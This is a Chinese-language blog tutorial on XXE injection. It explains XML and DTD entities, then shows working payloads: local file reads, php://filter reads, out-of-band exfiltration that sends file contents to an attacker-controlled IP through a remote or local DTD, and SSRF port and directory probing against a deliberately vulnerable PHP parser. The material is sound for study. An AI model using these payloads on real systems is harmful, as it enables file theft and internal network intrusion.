一个问题要是能够讲明白,就得先有自己的理解。如果能教会别人,说明自己也理解的还算透彻。

首先什么是XXE ?

XXE漏洞全程为XML External Entity Injection,也就是XML外部实体注入漏洞。
​ 显然,这个漏洞和XML有关(废话),那第一步,先了解什么是XML

什么是XML?

百度百科

可扩展标记语言标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言

​ 简单来说,它是一种语言,表现形式类似于HTML(超文本标记语言),而XMLHTML的差别在于,HMTL是用于展示数据和页面,而XML是为了更好的存储和传输数据。HTML的容错能力使得格式可以不必十分规范,例如有时可能忘记闭合标签了也不会出错。而XML语法就严格很多。XML的语法可以参见菜鸟教程简单了解即可。

什么是XML外部实体?

​ 在XMLDTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD文件对当前XML文档中的节点进行了定义,这样我们加载配置文件之前,可通过指定的DTD对当前XML中的节点进行检查,确定XML结构和数据类型是否合法。如下代码,文档类型定义部分,规定了文档元素里的数据类型,以及可以出现哪些元素。DTD菜鸟教程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [   <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> PCDATA为字符串类型字符串
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

​ 而在DTD中,有两种类型的实体,内部实体和外部实体。
​ 内部实体声明:

1
2
3
4
5
6
7
8
9
语法:
<!ENTITY entity-name "entity-value">
实例:
DTD :
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML :
<author>&writer;&copyright;</author>
注:一个实体 由三部分组成,一个和号 (&), 一个实体名称, 以及一个分号 (;)。
外部实体声明:
1
2
3
4
5
6
7
8
9
10
语法:
<!ENTITY entity-name SYSTEM "URI/URL">
实例:
DTD:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
# 个人的理解是将 http://www.runoob.com/entities.dtd 的dtd 文件包含进当前文件里,类似于php的文件包含
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
XML:
<author>&writer;&copyright;</author>
注:一个实体 由三部分组成,一个和号 (&), 一个实体名称, 以及一个分号 (;)。

从上述的例子,可以看出,外部实体是可以访问外部dtd文件的,而外部实体注入攻击正是利用了这一点。

XML外部实体注入是如何产生的?

上文已经介绍了,什么是XML外部实体。那么是如何产生危害的呢?WEB漏洞的成因大多都是因为对用户的输入不够严格而导致的。XML是一种代码注入漏洞,因此要了解XML的语法才能理解漏洞的成因。看如下代码,先简单了解XXE的一个流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# 目标网站存在功能代码,可以解析xml字符串。

<?php

# xml参数未进行过滤直接进行xml解析

​ $xml=simplexml_load_string($_POST['xml']);
​ #输出解析的结果
​ print_r($xml);

?>
#以POST方式传入如下字符
#由于进行XML解析,DTD代码开始执行,在此处开始访问攻击者的服务器上的payload文件。
<?xml version="1.0"?>

<!DOCTYPE catalog[
<!ENTITY % data SYSTEM "http://115.159.35.88/a.dtd">
%data;
]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&b;</description>
</core>
</catalog>

<?xml version="1.0"?>

<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://115.159.35.88/a.dtd">
%d;
]>
<abc>&b;</abc>

# 攻击者服务器上的 payload文件。 首先读取etc/passwd文件 并且给参数file。

<!ENTITY % file SYSTEM "file:///C://test/flag.txt">

# 此处有个嵌套,既然是嵌套,先从最里层开始看。

#在上一句DTD代码中会声明出一个file参数,而这个参数的值是/etc/passwd的内容

# 然后在此处被引用,发起一次get请求到攻击者的服务器,该请求拼接上了file的值

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://115.159.35.88/?%file;'>">

# 引用all参数,为了得到send变量。
%all;
%send;

由浅入深理解XXE的利用方式

​ 到此,已经了解了什么是XML,什么是DTD,以及一个XXE的基本流程是什么样的。由于是一种代码注入,必然需要去了解语法知识,理解payload的构造方式。

有回显的XXE

在本地里建立一个flag.txt看看效果。

xxe.php内容如下

1
2
3
4
5
6
7
<?php
# xml参数未进行过滤直接进行xml解析
$xml=simplexml_load_string($_POST['xml']);
#输出解析的结果
print_r($xml);

?>

构造payload发送。

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///C://test/flag.txt">
]>
<hack>&file;</hack>

​ 这个payload用于读取静态文件,而如果是PHP文件或者静态文件里包含的PHP代码是不会被读取出来的。那怎么办呢? 文件包含中用到过的伪协议,在这里同样可以用。不局限于伪协议,不同语言的效果不同。

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=D://phpstudy/PHPTutorial/WWW/aaa.txt">
]>
<hack>&file;</hack>

无回显的XXE

​ 如果没有回显,我们如何获得外带出获得数据呢。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#首先,我们设置一个变量 %file 用来承接读取到的内容
#接着,对我们的vps服务器发起一次get请求,并且拼接上数据去请求,不就可以外带数据了吗?
#按照思路,我们可以构造如下语句,似乎没啥毛病?
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY % file SYSTEM "file:///C://test/flag.txt">
<!ENTITY %send SYSTEM "http://115.159.35.88/?%file">
%send;
]>
<hack>&sender;</hack>

#但是实际上上面语句是不正确的, 由于同级的参数不会被解析,所以不行。
#所以考虑一下嵌套,于是构造如下语句,可是还是报错了。
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY % file SYSTEM "file:///C://test/flag.txt">
<!ENTITY % exp "<!ENTITY &#x25; send SYSTEM 'http://115.159.35.88/?%file;'>">
%exp;
%send;
]>
#报错: Entity: line 1: parser error : PEReferences forbidden in internal subset
#在内部DTD里, 参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则parser会报错
# 也就是说 % file是参数实体引用不可以出现在exp元素声明的内部。
#于是将
<!ENTITY % exp "<!ENTITY &#x25; send SYSTEM 'http://115.159.35.88/?%file;'>">
%exp;
#写在可控的服务器上
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY % get SYSTEM "http://115.159.35.88/a.dtd">
<!ENTITY % file SYSTEM "file:///C://test/flag.txt">
%get;
%send;
]>
# 先引用了%get对象,发起请求,加载了a.dtd,而a.dtd中又引用了%exp,接在exp里声明了send,最最后send里有file。

​ 可以看到服务器有两条记录,首先是先获取a.dtd,然后第二次又发起了一次请求,外带出了数据。

如果无法访问外部的DTD文件怎么办?

​ 上述的方法,是远程加载了一个DTD文件。如此做的原因在于参数实体引用只能和元素同级而不能直接出现在元素内部

我们将如下语句写在了可控的服务器上,进行远程获取,这样就避免了这个问题。

1
2
<!ENTITY % exp "<!ENTITY &#x25; send SYSTEM 'http://115.159.35.88/?%file;'>">
%exp;

​ 同理,那么只要引入一个文件,不管是本地还是远程文件,目的是在于绕过上述限制。于是我们可以引用本地的dtd文件重写里面的DTD实体,即可达到和上述一样的效果 。

1
2
3
4
5
6
7
8
9
10
11
12
13
#/usr/share/yelp/dtd/docbookx.dtd 为Linux的一个文件。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://myip/?&#x25;file;&#x27;>">
&#x25;eval;
&#x25;send;
'>
%remote;
]>
<message>1234</message>

XEE内网探测

从前面的例子可以看出来,在解析DTD文件的时候可以发起一次GET请求,而这个请求是有服务器发起的,那自然而然的可以想到SSRF相关的问题。

1
2
3
4
5
<?xml version="1.0"?> 
<!DOCTYPE hack [
<!ENTITY % get SYSTEM "http://115.159.35.88:81">
%get;
]>

1
2
3
4
5
<?xml version="1.0"?> 
<!DOCTYPE hack [
<!ENTITY % get SYSTEM "http://115.159.35.88:80">
%get;
]>

1563719823699

对比两个报错,可以发现,端口未开放就会有I/O错误。再看看22端口,是我开启用来ssh连接的端口。

XXE目录扫描

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE hack [
<!ENTITY % get SYSTEM "http://115.159.35.88:80/aab/">
%get;
]>
<hack>&a;</hack>

aab是不存在的目录,所以会爆404;

aaa是存在的目录,所以是403

写在后面

​ 很可笑的是,XXE这个问题在18年的时候就写过一篇文章了,回过头来看竟然有些看不懂。重新理解了一遍XXE还是有所收获的。 回过头看以前的很多文章,大多都只是抄啊抄,已经忘了当时是一个怎么样的心态写下那些文章。也忘了是否真的理解了自己写的内容。不过好在现在比较求稳,一步一步跟着调试复现比对,不急于发表博客,可能这就是成长吧。

参考链接

https://zhhhy.github.io/2018/08/21/XXE/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5

https://xz.aliyun.com/t/2571#toc-10

https://www.freebuf.com/vuls/207639.html